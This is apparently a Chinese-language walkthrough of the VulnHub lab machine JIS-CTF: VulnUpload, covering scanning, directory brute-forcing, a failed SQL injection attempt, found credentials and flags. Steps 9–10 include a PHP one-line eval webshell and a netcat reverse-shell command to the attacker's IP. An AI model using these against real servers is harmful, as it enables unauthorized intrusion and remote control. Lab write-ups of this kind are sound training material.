JIS-CTF: VulnUpload来自
<https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
靶机IP地址192.168.23.162,攻击机IP地址192.168.23.140
3,扫描靶机端口服务
nmap -sS -sV -n -T4 -p- -A192.168.23.162
端口和服务:
- 22/tcp:SSH服务(OpenSSH 7.2p2,运行在Ubuntu 4ubuntu2.1版本上)。
- 80/tcp:HTTP服务(Apache 2.4.18,运行在Ubuntu上)。
SSH 主机密钥:
- RSA:2048 af:b9:68:38:77:7c:40:f6:bf:98:09:ff:d9:5f:73:ec
- ECDSA:256 b9:df:60:1e:6d:6f:d7:f6:24:fd:ae:f8:e3:cf:16:ac
- ED25519:256 78:5a:95:bb:d5:bf:ad:cf:b2:f5:0f:c0:0c:af:f7:76
HTTP 信息:
- 网页标题:Sign-Up/Login Form(注册/登录表单)
- 请求的资源:login.php
- 服务器标头:Apache/2.4.18 (Ubuntu)
- robots.txt 文件中禁止访问的目录:
- /、/backup、/admin、/admin_area、/r00t、/uploads、/uploaded_files、/flag 等
设备和操作系统信息:
- MAC 地址:00:0C:29:71:5F:82(表示此设备是虚拟机,使用 VMware)。
- 设备类型:一般用途设备。
- 操作系统:运行 Linux 3.x 或 4.x 版本。
- 操作系统细节:Linux 内核版本范围为 3.2 到 4.9。
- 网络距离:距离扫描主机 1 跳。
4,访问80端口开放的HTTP服务
初始就是一个登录页面
5,爆破扫描出其存在的子目录页面
dirsearch -u http://192.168.23.162 -x 404,403
存在robots.txt查看一下
/backup 什么都没有
/admin 什么都没有
/admin_area
/r00t 什么都没有
/uploads 什么都没有
/uploaded_files 一片空白
/flag
信息收集得到第一个flag,The 1st flag is : {8734509128730458630012095}
http://192.168.23.162/js/index.js
1. 表单标签的动态效果:
通过绑定 keyup, blur, 和 focus 事件,动态地改变表单元素前面标签(label)的样式,以实现标签的浮动效果,增强用户交互体验。
- keyup 事件:每当用户输入时触发。
- 如果输入框(input 或 textarea)的值为空,标签移除 active 和 highlight 类,表示标签回到默认位置。
- 如果输入框有值,标签添加 active 和 highlight 类,标签上浮。
- blur 事件:当输入框失去焦点时触发。
- 如果输入框的值为空,标签移除 active 和 highlight 类,标签恢复原位。
- 如果输入框有值,标签只移除 highlight 类(但保留 active 类),标签保持浮动状态。
- focus 事件:当输入框获得焦点时触发。
- 如果输入框为空,标签移除 highlight 类。
- 如果输入框有值,标签添加 highlight 类,标签会有高亮效果。
2. 标签切换效果:
通过 click 事件绑定在 .tab a 元素上,实现标签的切换效果。具体步骤如下:
- click 事件:当用户点击标签时触发。
- 阻止默认的跳转行为(e.preventDefault()),因为标签是通过显示和隐藏内容来切换的,不需要进行页面跳转。
- 当前点击的标签的父元素(<li>)被添加 active 类,同时去除兄弟元素的 active 类,实现当前标签的高亮。
- 根据点击的标签的 href 属性(即对应的目标区域 div),找到目标内容区并显示。
- 使用 fadeIn(600) 使目标内容区淡入,显示出来,同时隐藏其他非目标内容区。
总结:
- 表单动态标签效果:输入框获得或失去焦点时,标签会根据输入框的内容浮动或回到原位,以提高用户体验。
- 标签切换效果:通过点击标签(如 Tab 切换),用户可以在多个内容区之间切换,显示对应的内容区域,使用淡入效果使界面更平滑。
http://192.168.23.162/assets/ 更像是一个目录
6,再对登录页面的指纹信息进行扫描,看看是否存在因为版本过低而产生的漏洞
jQuery 是一个快速、简洁的 JavaScript 库,旨在简化 HTML 文档遍历、事件处理、动画效果以及 Ajax 与服务器端的交互。它通过提供简洁的 API,使得开发者能够更轻松地操作 DOM(文档对象模型)、处理事件、动画和与服务器的交互。
没有明显的公开漏洞利用exp
7,再sqlmap自动化测试有无sql注入漏洞,首先burp suite抓一个标准的的登录请求包
没有token也没有cookie,这个登录界面是比较简陋的。将请求信息写入sql.txt,然后开始自动化测试
sqlmap -r sql.txt --level 5 --risk 3 --batch
sql注入失败
8,在进一步信息收集过程,查看view-source:http://192.168.23.162/admin_area/页面源代码,得到疑似账户密码的重要信息
username : admin
password : 3v1l_H@ck3r
信息收集得到第二个flag The 2nd flag is : {7412574125871236547895214}
尝试登录
登录成功,提供了一个用于上传文件的功能页面
9,编写一句话木马尝试上传
<?php @eval($_POST['shell']);?>
上传成功,只是需要找到文件上传位置的绝对路径。根据信息收集的结果,推测是存在于http://192.168.23.162/uploaded_files/shell.php。一句话木马配合webshell工具蚁剑使用,获得网站控制权
10,下一步就是反弹shell,使kali攻击机能够获取服务器的shell
nc -e /bin/bash 192.168.23.140 4444
nc-e 被禁用了,需要更换反弹shell的命令,姑且先进行信息收集,看能不能找到线索
服务器路径/var/www/html/flag.txt是空的,没有内容。/var/www/html/hint.txt文件藏在第三个flag
并且给予了新的提示,尝试找到用户 technawi 的密码,以便读取 flag.txt 文件,它可以在一个隐藏的文件中找到
11,然后就需要漫长的找flag.txt,其中应该包含了technawi用户的密码
grep -sr '4th flag' /
成功找到flag4,路径/etc/mysql/conf.d/credentials.txt
username : technawi
password : 3vilH@ksor
12,在nmap扫描的时候看到存在22端口ssh服务,尝试一下登录
13,信息收集一下,当前用户权限还是比较低的
最后得到第五个flag cat /var/www/html/flag.txt
14 ,最后稀里糊涂的提权成功了
一共五个flag,主要是信息收集,文件上传,蚁剑的使用。没有什么做题价值